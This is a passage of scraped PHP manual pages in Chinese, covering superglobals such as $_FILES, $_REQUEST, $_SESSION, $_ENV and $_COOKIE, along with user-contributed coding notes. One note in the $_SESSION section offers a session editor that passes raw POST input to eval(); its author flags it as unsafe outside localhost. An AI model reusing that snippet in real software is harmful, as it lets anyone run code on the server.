        foreach ($files as $name => $attributes) {
            if (is_array(reset($attributes))) { //check first item
                foreach ($attributes as $attribute => $item) { //array file submit, eg name="model[file]"
                    foreach ($item as $key => $value) {
                        if (is_array($value)) {
                            foreach ($value as $key2 => $sub_val) { // multi-array file submit, eg name="model[file][]"
                                $new_files[$name][$key][$key2][$attribute] = $sub_val;
                            }
                        } else {
                            $new_files[$name][$key][$attribute] = $value;
                        }
                    }
                }
            } else { // regular file submit, eg name="file"
                $new_files[$name] = $attributes;
            }
        }

        return $new_files;
    }

//Usage:

$files = multi_file_fix($_FILES);

?>
sergio_ag at terra dot com dot br 05-Sep-2012 08:09
A nice trick to reorder the $_FILES array when you use a input name as array is:

<?php
function diverse_array($vector) {
    $result = array();
    foreach($vector as $key1 => $value1)
        foreach($value1 as $key2 => $value2)
            $result[$key2][$key1] = $value2;
    return $result;
}
?>

will transform this:

array(1) {
    ["upload"]=>array(2) {
        ["name"]=>array(2) {
            [0]=>string(9)"file0.txt"
            [1]=>string(9)"file1.txt"
        }
        ["type"]=>array(2) {
            [0]=>string(10)"text/plain"
            [1]=>string(10)"text/html"
        }
    }
}

into:

array(1) {
    ["upload"]=>array(2) {
        [0]=>array(2) {
            ["name"]=>string(9)"file0.txt"
            ["type"]=>string(10)"text/plain"
        },
        [1]=>array(2) {
            ["name"]=>string(9)"file1.txt"
            ["type"]=>string(10)"text/html"
        }
    }
}

just do:

<?php $upload = diverse_array($_FILES["upload"]); ?>
sparticvs at popebp dot com 01-Sep-2012 08:59
A note of security: Don't ever trust $_FILES["image"]["type"]. It takes whatever is sent from the browser, so don't trust this for the image type.  I recommend using finfo_open (http://www.php.net/manual/en/function.finfo-open.php) to verify the MIME type of a file. It will parse the MAGIC in the file and return it's type...this can be trusted (you can also use the "file" program on Unix, but I would refrain from ever making a System call with your PHP code...that's just asking for problems).
tjbp 04-Aug-2012 09:46
For quick debugging (eg. var_dump($_FILES);), these are the values of the error constants. Obviously don't use these for comparison in real code.

UPLOAD_ERR_OK: 0
UPLOAD_ERR_INI_SIZE: 1
UPLOAD_ERR_FORM_SIZE: 2
UPLOAD_ERR_NO_TMP_DIR: 6
UPLOAD_ERR_CANT_WRITE: 7
UPLOAD_ERR_EXTENSION: 8
UPLOAD_ERR_PARTIAL: 3
seifert at alesak dot net 02-Jul-2012 02:02
I just spent long time debugging strange behavior of one of our application on new webhosting. We have 30 file inputs on one page for upload to server. Problem was that only 20 was actually uploaded.

Now I found there is an option max_file_uploads in php.ini limiting maximum size of $_FILES to 20 by default.

When you have suhosin extension installed it has own option limiting same thing to 25 (suhosin.upload.max_uploads in php.ini)
Alexandre Teles 20-May-2012 04:31
You can check error index this way:

<?php

$errorIndex = $_FILES["file"]["error"];

if ($errorIndex > 0) {
    die('We have a error. Try Again.');
}

processFile();

?>
yuriy dot nayda at gmail dot com 15-Mar-2012 04:49
THis is an solution to convert Cyrillic and umlaut characters as file name when uplaoding files into needed encoding. Was searching for it but could not find. Thus posting this. Just like this:

$value = mb_convert_encoding($value, "UTF-8");
BigShark666 at gmail dot com 21-Nov-2011 10:51
Nontypicall array comes in php after the submission.I wrote a small function to restate it to the familiar look.
<?php
function multiple(array $_files, $top = TRUE)
{
    $files = array();
    foreach($_files as $name=>$file){
        if($top) $sub_name = $file['name'];
        else    $sub_name = $name;

        if(is_array($sub_name)){
            foreach(array_keys($sub_name) as $key){
                $files[$name][$key] = array(
                    'name'     => $file['name'][$key],
                    'type'     => $file['type'][$key],
                    'tmp_name' => $file['tmp_name'][$key],
                    'error'    => $file['error'][$key],
                    'size'     => $file['size'][$key],
                );
                $files[$name] = multiple($files[$name], FALSE);
            }
        }else{
            $files[$name] = $file;
        }
    }
    return $files;
}

print_r($_FILES);
/*
Array
(
    [image] => Array
        (
            [name] => Array
                (
                    [0] => 400.png
                )
            [type] => Array
                (
                    [0] => image/png
                )
            [tmp_name] => Array
                (
                    [0] => /tmp/php5Wx0aJ
                )
            [error] => Array
                (
                    [0] => 0
                )
            [size] => Array
                (
                    [0] => 15726
                )
        )
)
*/
$files = multiple($_FILES);
print_r($files);
/*
Array
(
    [image] => Array
        (
            [0] => Array
                (
                    [name] => 400.png
                    [type] => image/png
                    [tmp_name] => /tmp/php5Wx0aJ
                    [error] => 0
                    [size] => 15726
                )
        )
)
*/
?>
kbolyshev at gmail dot com 18-Nov-2011 04:39
For situation download[file1], download[file2], ..., download[fileN], try it:

<?php

/**
 *
 * @param array     $arrayForFill
 * @param string    $currentKey
 * @param mixed     $currentMixedValue
 * @param string    $fileDescriptionParam (name, type, tmp_name, error или size)
 * @return void
 */
function rRestructuringFilesArray(&$arrayForFill, $currentKey, $currentMixedValue, $fileDescriptionParam)
{
    if (is_array($currentMixedValue)) {
        foreach ($currentMixedValue as $nameKey => $mixedValue) {
            rRestructuringFilesArray($arrayForFill[$currentKey],
                                     $nameKey,
                                     $mixedValue,
                                     $fileDescriptionParam);
        }
    } else {
        $arrayForFill[$currentKey][$fileDescriptionParam] = $currentMixedValue;
    }
}

$arrayForFill = array();
foreach ($_FILES as $firstNameKey => $arFileDescriptions) {
    foreach ($arFileDescriptions as $fileDescriptionParam => $mixedValue) {
        rRestructuringFilesArray($arrayForFill,
                                 $firstNameKey,
                                 $_FILES[$firstNameKey][$fileDescriptionParam],
                                 $fileDescriptionParam);
    }
}
$_FILES = $arrayForFill;
?>
unca dot alby at gmail dot com 02-Sep-2011 01:31
In checking the error code, you probably ought to check for code 4.  I believe Code 4 means no file was uploaded, and there are many instances where that's perfectly OK.

Such as when you have a form with multiple data items, including file and image uploads, plus whatever else.  The user might not be adding a new upload for whatever reason, such as there may already be a file in the system from an earlier update, and the user is satisfied with that.
Sbastien 13-Jun-2011 07:36
If you're uploading multiple files and you name your file inputs "upload[]" the $_FILES array will look different than the var_dump posted below. I figured I'd post what it looks like since it caused me (and still causes me) headaches!

array(1) {
    ["upload"]=>array(5) {
        ["name"]=>array(3) {
            [0]=>string(9)"file0.txt"
            [1]=>string(9)"file1.txt"
            [2]=>string(9)"file2.txt"
        }
        ["type"]=>array(3) {
            [0]=>string(10)"text/plain"
            [1]=>string(10)"text/plain"
            [2]=>string(10)"text/plain"
        }
        ["tmp_name"]=>array(3) {
            [0]=>string(14)"/tmp/blablabla"
            [1]=>string(14)"/tmp/phpyzZxta"
            [2]=>string(14)"/tmp/phpn3nopO"
        }
        ["error"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
        ["size"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
    }
}

(I thought the array would have looked like upload[index][name] which is not the case.)
Anonymous 26-Apr-2011 02:48
Having url rewrite patterns in .htaccess file which modify your urls can affect $_FILES sometimes. Even though the php page loads and works fine, this variable may not work because of it. Therefore if you rewrite 'www.example.com' to 'example.com', make sure you use the latter one when sending POST to the php page. I'm still not sure why this happens, but its worth noting here so others don't spend time chasing ghosts.
Anonymous 18-Apr-2011 06:23
As mentioned , you should check the error index of the upload.

Example below suggests you have a file field named 'image'.

<?php

        if($_FILES['image']['error'] == 0){
            // success - move uploaded file and process stuff here

        }else{
            // 'there was an error uploading file' stuff here....
        }
?>
John 03-Feb-2011 06:14
In the past you could unconditionally call $_FILES['profile_pic'] without ever having to worry about PHP spitting an "Undefined index: profile_pic" error (so long as the page posting had a file input on it (e.g. <input type="file" name="profile_pic" />)). This was the case regardless of whether or not the end user actually uploaded a file. These days, with so many people browsing the web via iPads, you have to explicitly check to see if the input isset($_FILES['profile_pic']) before calling into it, else you'll get the aforementioned error message. This is because iOS devices running Safari disable file inputs thereby causing them to be treated as if they don't exist. Time to update your scripts!

-john
mwgamera at gmail dot com 13-Aug-2009 05:40
To determine whether upload was successful you should check for error being UPLOAD_ERR_OK instead of checking the file size. When nothing is chosen to be uploaded, the key in $_FILES will still be there, but it should have error equal UPLOAD_ERR_NO_FILE.
calurion at gmail dot com 29-Jun-2009 04:51
For some reason when I tried to check if $_FILES['myVarName'] was empty() or !isset() or array_key_exists(), it always came back that the file was indeed in the superglobal, even when nothing was uploaded.

I wonder if this is a result of enctype="multipart/form-data".

Anyways, I solved my issue by checking to make sure that $_FILES['myVarName']['size'] > 0
dewi at dewimorgan dot com 18-Mar-2009 10:35
The format of this array is (assuming your form has two input type=file fields named "file1", "file2", etc):

Array
(
    [file1] => Array
        (
            [name] => MyFile.txt (comes from the browser, so treat as tainted)
            [type] => text/plain  (not sure where it gets this from - assume the browser, so treat as tainted)
            [tmp_name] => /tmp/php/php1h4j1o (could be anywhere on your system, depending on your config settings, but the user has no control, so this isn't tainted)
            [error] => UPLOAD_ERR_OK  (= 0)
            [size] => 123   (the size in bytes)
        )

    [file2] => Array
        (
            [name] => MyFile.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php/php6hst32
            [error] => UPLOAD_ERR_OK
            [size] => 98174
        )
)

Last I checked (a while ago now admittedly), if you use array parameters in your forms (that is, form names ending in square brackets, like several file fields called "download[file1]", "download[file2]" etc), then the array format becomes... interesting.

Array
(
    [download] => Array
        (
            [name] => Array
                (
                    [file1] => MyFile.txt
                    [file2] => MyFile.jpg
                )

            [type] => Array
                (
                    [file1] => text/plain
                    [file2] => image/jpeg
                )

            [tmp_name] => Array
                (
                    [file1] => /tmp/php/php1h4j1o
                    [file2] => /tmp/php/php6hst32
                )

            [error] => Array
                (
                    [file1] => UPLOAD_ERR_OK
                    [file2] => UPLOAD_ERR_OK
                )

            [size] => Array
                (
                    [file1] => 123
                    [file2] => 98174
                )
        )
)

So you'd need to access the error param of file1 as, eg $_Files['download']['error']['file1']
andrewpunch at bigfoot dot com 17-Jan-2009 12:16
If $_FILES is empty, even when uploading, try adding enctype="multipart/form-data" to the form tag and make sure you have file uploads turned on.


HTTP Request 变量

  • ? $_FILES
  • $_SESSION ?
  • PHP Manual
  • 预定义变量
  • HTTP Request 变量

$_REQUEST

$_REQUEST — HTTP Request 变量

说明

默认情况下包含了 $_GET，$_POST 和 $_COOKIE 的数组。

注释

Note:

"Superglobal"也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

Note:

以命令行方式运行时，将不包含 argv 和 argc 信息；它们将存在于 $_SERVER 数组。

Note:

由于 $_REQUEST 中的变量通过 GET，POST 和 COOKIE 输入机制传递给脚本文件，因此可以被远程用户篡改而并不可信。这个数组的项目及其顺序依赖于 PHP 的 request_order 和 variables_order 指令的配置。

参见

  • 处理外部变量
  • 过滤器扩展

User Contributed Notes

codeblog.pro 13-Oct-2020 12:43
In PHP version 7.0 with the default settings.+, $_REQUEST array does not contain cookies.
Filomena 02-Oct-2020 07:40
Warning:

The way $_REQUEST is populated by default can lead to strange bugs because of the unfortunate default setting of the configuration directive 'variables_order'.

Example: In an e-shop you want to display prices based on user preference. User can either switch the currency or the previous selection is used. By defaut, the following code WILL NOT WORK as expected:

<?php
if ($_REQUEST['currency']) # change currency on user request
{
    $currency = $_REQUEST['currency']; # use it
    setcookie('currency', $_REQUEST['currency'], 0, 'eshop.php'); # store it
}
else # use default currency
{
    $currency = 'USD';
}

# display shop contents with user selected currency
echo 'All prices are shown in ', $currency;

# let the user switch currency
echo '<a href="eshop.php?currency=USD">Switch to USD</a>';
echo '<a href="eshop.php?currency=EUR">Switch to EUR</a>';
?>

Regardless of the user choice, the cookie value is used, so unless you change the default 'request_order' or 'variables_order' the $_REQUEST[something] variable is stuck with the cookie value forever regardless of the user 'REQUEST'.

Fix 1:

<?php
ini_set('request_order', 'CGP'); # use previous value (stored in cookie) or new value upon user request
.
.
.
?>

Fix 2:
Be very careful and patient and go with $_GET, $_POST and $_COOKIE instead of the convenient $_REQUEST. Good luck.
Luke Madhanga 22-May-2016 08:45
To access $_POST, $_GET, etc, use the function filter_input(TYPE, varname, filter) to ensure that your data is clean.

Also, I was brought up to believe that modifying superglobals is a BAD idea. I stand by this belief and would recommend you do too
mike o. 11-Mar-2010 04:31
The default php.ini on your system as of in PHP 5.3.0 may exclude cookies from $_REQUEST.  The request_order ini directive specifies what goes in the $_REQUEST array; if that does not exist, then the variables_order directive does.  Your distribution's php.ini may exclude cookies by default, so beware.
strata_ranger at hotmail dot com 17-Jul-2008 08:04
Don't forget, because $_REQUEST is a different variable than $_GET and $_POST, it is treated as such in PHP -- modifying $_GET or $_POST elements at runtime will not affect the ellements in $_REQUEST, nor vice versa.

e.g:

<?php

$_GET['foo'] = 'a';
$_POST['bar'] = 'b';
var_dump($_GET); // Element 'foo' is string(1) "a"
var_dump($_POST); // Element 'bar' is string(1) "b"
var_dump($_REQUEST); // Does not contain elements 'foo' or 'bar'

?>

If you want to evaluate $_GET and $_POST variables by a single token without including $_COOKIE in the mix, use  $_SERVER['REQUEST_METHOD'] to identify the method used and set up a switch block accordingly, e.g:

<?php

switch($_SERVER['REQUEST_METHOD'])
{
case 'GET': $the_request = &$_GET; break;
case 'POST': $the_request = &$_POST; break;
.
. // Etc.
.
default:
}
?>


Session 变量

  • ? $_REQUEST
  • $_ENV ?
  • PHP Manual
  • 预定义变量
  • Session 变量

$_SESSION

$_SESSION — Session 变量

说明

当前脚本可用 SESSION 变量的数组。更多关于如何使用的信息，参见 Session 函数 文档。

注释

Note:

"Superglobal"也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

参见

  • session_start() - 启动新会话或者重用现有会话

User Contributed Notes

ms at meilenstein dot ms 25-Jan-2019 11:56
I would be wary to use PHP Sessions for application-critical tasks. So far, I have had very troubling experiences with random loss of session data, as described in these bug reports:

https://bugs.php.net/bug.php?id=19022
https://bugs.php.net/bug.php?id=19029
https://bugs.php.net/bug.php?id=70584
Tugrul 09-Mar-2015 05:04
Creating New Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
?>
Getting Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
/*session created*/
echo $_SESSION["newsession"];
/*session was getting*/
?>
Updating Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
/*it is my new session*/
$_SESSION["newsession"]=$updatedvalue;
/*session updated*/
?>
Deleting Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
unset($_SESSION["newsession"]);
/*session deleted. if you try using this you've got an error*/
?>
Fred 07-Sep-2013 03:09
Regarding array keys, from http://php.net/manual/en/language.types.array.php, "Strings containing valid integers will be cast to the integer type".

The manual on $_SESSION says "An associative array". So an associative array is expected literally...? It does no one any good if this bit of important info about accessing and storing session data remains buried in manual comments.

Session variables with a single number will not work, however "1a" will work, as will "a1" and even a just single letter, for example "a" will also work.

(Invalid)
1st page

<?php
session_start();
$_SESSION["1"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["1"];
?>

---------------------------------------------------------------

(Valid)
1st page

<?php
session_start();
$_SESSION["a"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["a"];
?>

---------------------------------------------------------------

(Valid)
1st page

<?php
session_start();
$_SESSION["a1"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["a1"];
?>

---------------------------------------------------------------

Example from PHP.net manual on Session variables

<?php
$_SESSION[1][1] = 'cake'; // fails

$_SESSION['v1'][2] = 'cake'; // works
?>

Source: http://php.net/manual/en/language.types.array.php
opajaap at opajaap dot nl 31-Aug-2013 11:51
Be carefull with $_SESSION array elements when you have the same name as a normal global.

The following example leads to unpredictable behaviour of the $wppa array elements, some are updated by normal code, some not, it is totally unpredictable what happens.

<?php
global $wppa;
$wppa = array( 'elm1' => 'value1', 'elm2' => 'value2', ....etc...);

if ( ! session_id() ) @ session_start();
if ( ! isset($_SESSION['wppa']) $_SESSION['wppa'] = array();

if ( ! isset($_SESSION['wppa']['album']) ) $_SESSION['wppa']['album'] = array();
$_SESSION['wppa']['album'][1234] = 1;

$wppa['elm1'] = 'newvalue1';

print_r($_SESSION);
?>
This will most likely display Array ( [wppa] => Array ( [album] => Array ( [1234] => 1 ) [elm1] => 'newvalue1' [elm2] => 'value2' ... etc ...
But setting $wppa['elm1'] to another value or referring to it gives unpredictable results, maybe 'value1', or 'newvalue1'.

The most strange behaviour is that not all elements of $wppa[xx] show up as $_SESSION['wppa'][xx].
Miller 12-Aug-2013 08:48
I wrote a little page for controlling/manipulating the session. Obviously, never use this on a production server, but I use it on my localhost to assist me in checking and changing session values on the fly.

Again, it makes use of eval() and exposes the session, so never use this on a web server.

<?php
error_reporting(E_ALL);
session_start();
if (isset($_POST['session'])) {
    $session = eval("return {$_POST['session']};");
    if (is_array($session)) {
        $_SESSION = $session;
        header("Location: {$_SERVER['PHP_SELF']}?saved");
    }
    else {
        header("Location: {$_SERVER['PHP_SELF']}?error");
    }
}

$session = htmlentities(var_export($_SESSION, true));
?>
<!DOCTYPE html>
<html lang="en-US">
    <head>
        <meta charset="UTF-8">
        <title>Session Variable Management</title>
        <style>
            textarea { font: 12px Consolas, Monaco, monospace; padding: 2px; border: 1px solid #444444; width: 99%; }
            .saved, .error { border: 1px solid #509151; background: #DDF0DD; padding: 2px; }
            .error { border-color: #915050; background: #F0DDDD; }
        </style>
    </head>
    <body>
        <h1>Session Variable Management</h1>
<?php if (isset($_GET['saved'])) { ?>
        <p class="saved">The session was saved successfully.</p>
<?php } else if (isset($_GET['error'])) { ?>
        <p class="error">The session variable did not parse correctly.</p>
<?php } ?>
        <form method="post">
            <textarea name="session" rows="<?php echo count(preg_split("/\n|\r/", $session)); ?>"><?php echo $session; ?></textarea>
            <input type="submit" value="Update Session">
        </form>
    </body>
</html>
charlese at cvs dot com dot au 04-Jul-2009 06:47
I was having troubles with session variables working in some environments and being seriously flaky in others. I was using $_SESSION as an array. It works properly when I used $_SESSION as pointers to arrays. As an example the following code works in some environments and not others.

<?php
//Trouble if I treate $form_convert and $_SESSION['form_convert'] as unrelated items
$form_convert=array();
if (isset($_SESSION['form_convert'])){
        $form_convert=$_SESSION['form_convert'];
    }
}
?>
The following works well.
<?php
if (isset($_SESSION['form_convert'])){
    $form_convert = $_SESSION['form_convert'];
}else{
    $form_convert = array();
    $_SESSION['form_convert']=$form_convert;
}
?>
bohwaz 31-Aug-2008 02:43
Please note that if you have register_globals to On, global variables associated to $_SESSION variables are references, so this may lead to some weird situations.

<?php

session_start();

$_SESSION['test'] = 42;
$test = 43;
echo $_SESSION['test'];

?>

Load the page, OK it displays 42, reload the page... it displays 43.

The solution is to do this after each time you do a session_start() :

<?php

if (ini_get('register_globals'))
{
    foreach ($_SESSION as $key=>$value)
    {
        if (isset($GLOBALS[$key]))
            unset($GLOBALS[$key]);
    }
}

?>
jherry at netcourrier dot com 01-Aug-2008 04:16
You may have trouble if you use '|' in the key:

$_SESSION["foo|bar"] = "fuzzy";

This does not work for me. I think it's because the serialisation of session object is using this char so the server reset your session when it cannot read it.

To make it work I replaced '|' by '_'.


环境变量

  • ? $_SESSION
  • $_COOKIE ?
  • PHP Manual
  • 预定义变量
  • 环境变量

$_ENV

$_ENV — 环境变量

说明

通过环境方式传递给当前脚本的变量的数组。

这些变量被从 PHP 解析器的运行环境导入到 PHP 的全局命名空间。很多是由支持 PHP 运行的 Shell 提供的，并且不同的系统很可能运行着不同种类的 Shell，所以不可能有一份确定的列表。请查看你的 Shell 文档来获取定义的环境变量列表。

其他环境变量包含了 CGI 变量，而不管 PHP 是以服务器模块还是 CGI 处理器的方式运行。

示例

Example #1 $_ENV 范例

<?php
echo 'My username is ' .$_ENV["USER"] . '!';
?>

假设 "bjori" 运行此段脚本

以上示例的输出类似于：

My username is bjori!

注释

Note:

"Superglobal"也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

参见

  • getenv() - 获取单个或者全部环境变量
  • 过滤器扩展

User Contributed Notes

aasasdasdf at yandex dot ru 08-Apr-2014 02:25
Please note that writing to $_ENV does not actually set an environment variable, i.e. the variable will not propagate to any child processes you launch (except forked script processes, in which case it's just a variable in the script's memory). To set real environment variables, you must use putenv().

Basically, setting a variable in $_ENV does not have any meaning besides setting or overriding a script-wide global variable. Thus, one should never modify $_ENV except for testing purposes (and then be careful to use putenv() too, if appropriate).

PHP  will not trigger any kind of error or notice when writing to $_ENV.
gabe-php at mudbugmedia dot com 26-May-2010 09:11
If your $_ENV array is mysteriously empty, but you still see the variables when calling getenv() or in your phpinfo(), check your http://us.php.net/manual/en/ini.core.php#ini.variables-order ini setting to ensure it includes "E" in the string.


HTTP Cookies

  • ? $_ENV
  • $php_errormsg ?
  • PHP Manual
  • 预定义变量
  • HTTP Cookies

$_COOKIE

$_COOKIE — HTTP Cookies

说明

通过 HTTP Cookies 方式传递给当前脚本的变量的数组。

示例

Example #1 $_COOKIE 范例

<?php
echo 'Hello ' . htmlspecialchars($_COOKIE["name"]) . '!';
?>

假设之前发送了 "name" Cookie

以上示例的输出类似于：

Hello Hannes!

注释

Note:

"Superglobal"也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

参见

  • setcookie() - 发送 Cookie
  • 处理外部变量
  • 过滤器扩展

User Contributed Notes

rc at opelgt dot org 29-Dec-2022 07:04
The values of $_COOKIE in general are not identic with the values in $_SERVER["HTTP_COOKIE"]!

In phpinfo() $_SERVER["HTTP_COOKIE"] shows the actual value stored in the cookie by the browser in 7bit.
In $_COOKIE is this value after a 7bit to 8bit conversion.

When all characters in $_SERVER["HTTP_COOKIE"] are in ASCII = 7bit, $_COOKIE is displayed in phpinfo(). When one single character is not in ASCII, phpinfo() shows no value!

Although in $_COOKIE is still the 8bit conversion of $_SERVER["HTTP_COOKIE"]!
The reason: the 8bit conversion alone is not enough to say what characters are meant.
For that the used character-set is necessary.

phpinfo() does not know the character-set and better says nothing.

When using $_COOKIE in a php-generated web page the environment has the info of used character-set and so the meant characters can be displayed.

Three illustrating examples
===========================
A HTML-form is used to get the content which shall be stored in a cookie named "test".

Input string in field "test": door
$_SERVER["HTTP_COOKIE"]: test=door
$_COOKIE["test"]
   displayed in phpinfo(): door
   displayed in any html page: door

Input string in field "test" (ISO-8859-1 used in form): Tür
$_SERVER["HTTP_COOKIE"]: test=T%FCr
$_COOKIE["test"]
   displayed in phpinfo(): ""
   displayed in a ISO-8859-1-html-page: Tür
   (displayed in a UTF-8-html-page: T?r)

Input string in field "test" (UTF-8 used in form): Tür
$_SERVER["HTTP_COOKIE"]: test=T%C3%BCr
$_COOKIE["test"]
   displayed in phpinfo(): ""
   displayed in a UTF-8-html-page: Tür
   (displayed in a ISO-8859-1-html-page: T??r)
user at NOSPAM dot example dot com 07-Dec-2022 12:26
PHP replaces dots (.) with underscores (_). To find all original cookie names (and value) you can use $_SERVER['HTTP_COOKIE'].

For example to retrieve a cookie set with <?php setcookie('testing.dots', 'value'); ?> you may use:
<?php
    $cookies = explode('; ', $_SERVER['HTTP_COOKIE']);
    $allCookies = [];

    foreach($cookies as $cookie) {
        $keyAndValue = explode('=', $cookie);
        $allCookies[$keyAndValue[0]] = $keyAndValue[1];
    }

    var_dump($allCookies);
    /*
        array(1) {
            ["testing.dots"]=>
                string(5) "value"
        }
    */

    echo $allCookies['testing.dots'];
?>
axodjakov at gmail dot com 07-Jul-2021 11:25
$_COOKIE returns an array if there are more than one cookie saved under the given key.
kiril (at) atern (dot) us 24-May-2016 12:08
To clarify the previously posted note:

Dots (.) and spaces ( ) in cookie names are being replaced with underscores (_).
k dot andris at gmail dot com 29-May-2015 08:49
beware, dots (.) in cookie names are replaces by underscores (_)


前一个错误信息

  • ? $_COOKIE
  • $http_response_header ?
  • PHP Manual
  • 预定义变量
  • 前一个错误信息

$php_errormsg

$php_errormsg — 前一个错误信息

Warning

本特性已自 PHP 7.2.0 起废弃。强烈建议不要使用本特性。

用 error_get_last() 函数代替。

说明

$php_errormsg 变量包含由 PHP 生成的最新错误信息。这个变量只在错误发生的作用域内可用，并且要求 track_errors 配置项是开启的（默认是关闭的）。

Warning

如果用户定义了错误处理句柄（set_error_handler()）并且返回 false 的时候，$php_errormsg 就会被设置。

更新日志

版本 | 说明
8.0.0 | 可使 $php_errormsg 可用的 track_errors 指令已被删除。
7.2.0 | 可使 $php_errormsg 可用的 track_errors 指令已被弃用。

示例

Example #1 $php_errormsg 范例

<?php
@strpos();
echo $php_errormsg;
?>

以上示例的输出类似于：

Wrong parameter count for strpos()

参见

  • error_get_last() - 获取最后发生的错误

User Contributed Notes

myuezhu at gmail dot com 04-Aug-2017 01:29
$php_errormsg does not contain the error message generated inside a function. See the example below:
<?php
@strpos();
function checkErrormsg()
{
    global $php_errormsg;
    echo "First Error is: $php_errormsg <br />";
    @ini_set();
    echo "Error is: $php_errormsg";
}
checkErrormsg();
?>
This will output:
First Error is: strpos() expects at least 2 parameters, 0 given
Error is: strpos() expects at least 2 parameters, 0 given
quickshiftin at gmail dot com 07-Jan-2013 09:19
While $php_errormsg is a global, it is not a superglobal.

You'll have to qualify it with a global keyword inside a function.

<?php
function checkErrormsg()
{
    global $php_errormsg;
    @strpos();
    return $php_errormsg;
}
?>
josh at karmabunny dot com dot au 04-Jul-2011 12:41
The track_errors parameter is PHP_INI_ALL, so you can use code like this:

<?php
ini_set('track_errors', 1);

$result = @do_risky_thing();
if (! $result) {
    echo '<p>Error' . htmlspecialchars($php_errormsg) . '</p>';
}

ini_set('track_errors', 0);
?>
ryan kulla 19-Jan-2009 11:32
Note: This variable doesn't seem to get populated if you're running Xdebug.


HTTP 响应头

  • ? $php_errormsg
  • $argc ?
  • PHP Manual
  • 预定义变量
  • HTTP 响应头

$http_response_header

$http_response_header — HTTP 响应头

说明

$http_response_header 数组与 get_headers() 函数类似。当使用HTTP 包装器时，$http_response_header 将会被 HTTP 响应头信息填充。$http_response_header 将被创建于局部作用域中。

示例

Example #1 $http_response_header 范例

<?php
function get_contents() {
file_get_contents("http://example.com");
var_dump($http_response_header); // 变量在本地作用域中填充
}
get_contents();
var_dump($http_response_header); // 调用 get_contents() 不会在函数作用域之外填充变量
?>

以上示例的输出类似于：

array(9) {
  [0]=>
  string(15) "HTTP/1.1 200 OK"
  [1]=>
  string(35) "Date: Sat, 12 Apr 2008 17:30:38 GMT"
  [2]=>
  string(29) "Server: Apache/2.2.3 (CentOS)"
  [3]=>
  string(44) "Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT"
  [4]=>
  string(27) "ETag: "280100-1b6-80bfd280""
  [5]=>
  string(20) "Accept-Ranges: bytes"
  [6]=>
  string(19) "Content-Length: 438"
  [7]=>
  string(17) "Connection: close"
  [8]=>
  string(38) "Content-Type: text/html; CHARSET=gb2312"
}

Warning: Undefined variable $http_response_header
NULL

User Contributed Notes

carlo at tnx dot it 01-Dec-2023 11:22
If no connection is made, $http_response_header is not reset! (tested on php 7.0/8.1)

file_get_contents("https://www.google.com/");
file_get_contents("https://www.google.fail/");
print_r($http_response_header);//Array ( [0] => HTTP/1.1 200 OK  ....
boz at reyboz dot it 02-Jul-2021 11:10
It seems that, if the server returns an HTTP/1.1 100 Continue, the variable $http_response_header is unset. This corner case may be difficult to be detected.

For this and other reasons I recommend PHP cURL, instead of file_get_contents().
jaraco at jaraco dot com 06-Feb-2018 11:20
If an HTTP Redirect is encountered, the headers will contain the response line and headers for all requests encountered. Consider this example:

<?php
file_get_contents("https://httpbin.org/redirect-to?url=https%3A%2F%2Fhttpbin.org%2F");
var_dump($http_response_header);
?>

Produces the following:

array(23) {
  [0]=>
  string(18) "HTTP/1.1 302 FOUND"
  [1]=>
  string(17) "Connection: close"
  [2]=>
  string(22) "Server: meinheld/0.6.1"
  [3]=>
  string(35) "Date: Tue, 06 Feb 2018 11:21:21 GMT"
  [4]=>
  string(38) "Content-Type: text/html; CHARSET=gb2312"
  [5]=>
  string(17) "Content-Length: 0"
  [6]=>
  string(30) "Location: https://httpbin.org/"
  [7]=>
  string(30) "Access-Control-Allow-Origin: *"
  [8]=>
  string(38) "Access-Control-Allow-Credentials: true"
  [9]=>
  string(19) "X-Powered-By: Flask"
  [10]=>
  string(34) "X-Processed-Time: 0.00107908248901"
  [11]=>
  string(14) "Via: 1.1 vegur"
  [12]=>
  string(15) "HTTP/1.1 200 OK"
  [13]=>
  string(17) "Connection: close"
  [14]=>
  string(22) "Server: meinheld/0.6.1"
  [15]=>
  string(35) "Date: Tue, 06 Feb 2018 11:21:21 GMT"
  [16]=>
  string(38) "Content-Type: text/html; CHARSET=gb2312"
  [17]=>
  string(21) "Content-Length: 13011"
  [18]=>
  string(30) "Access-Control-Allow-Origin: *"
  [19]=>
  string(38) "Access-Control-Allow-Credentials: true"
  [20]=>
  string(19) "X-Powered-By: Flask"
  [21]=>
  string(34) "X-Processed-Time: 0.00848388671875"
  [22]=>
  string(14) "Via: 1.1 vegur"
}
doekia at gmail dot com 20-Jun-2017 10:54
Bear in mind this special variable is somehow protected and not populated in some situation when the peer server close the connection early on (ssl reset)
=> Undefined variable: http_response_header

A code like this one:
$response = @file_get_contents($url);
empty($http_response_header) && $http_response_header = array('HTTP/1.1 400 Bad request');

Will return a cryptic error message:
Fatal error: Call to undefined function  array() on line 2

--
Should you want to cope with this situation:
$hdrs = array('HTTP/1.1 400 Bad request');
!empty($htp_response_header) && $hdrs = $http_response_headers;

Now use $hdrs in place of $http_response_header
MangaII 01-May-2015 01:01
parser function to get formatted headers (with response code)

<?php

function parseHeaders( $headers )
{
    $head = array();
    foreach( $headers as $k=>$v )
    {
        $t = explode( ':', $v, 2 );
        if( isset( $t[1] ) )
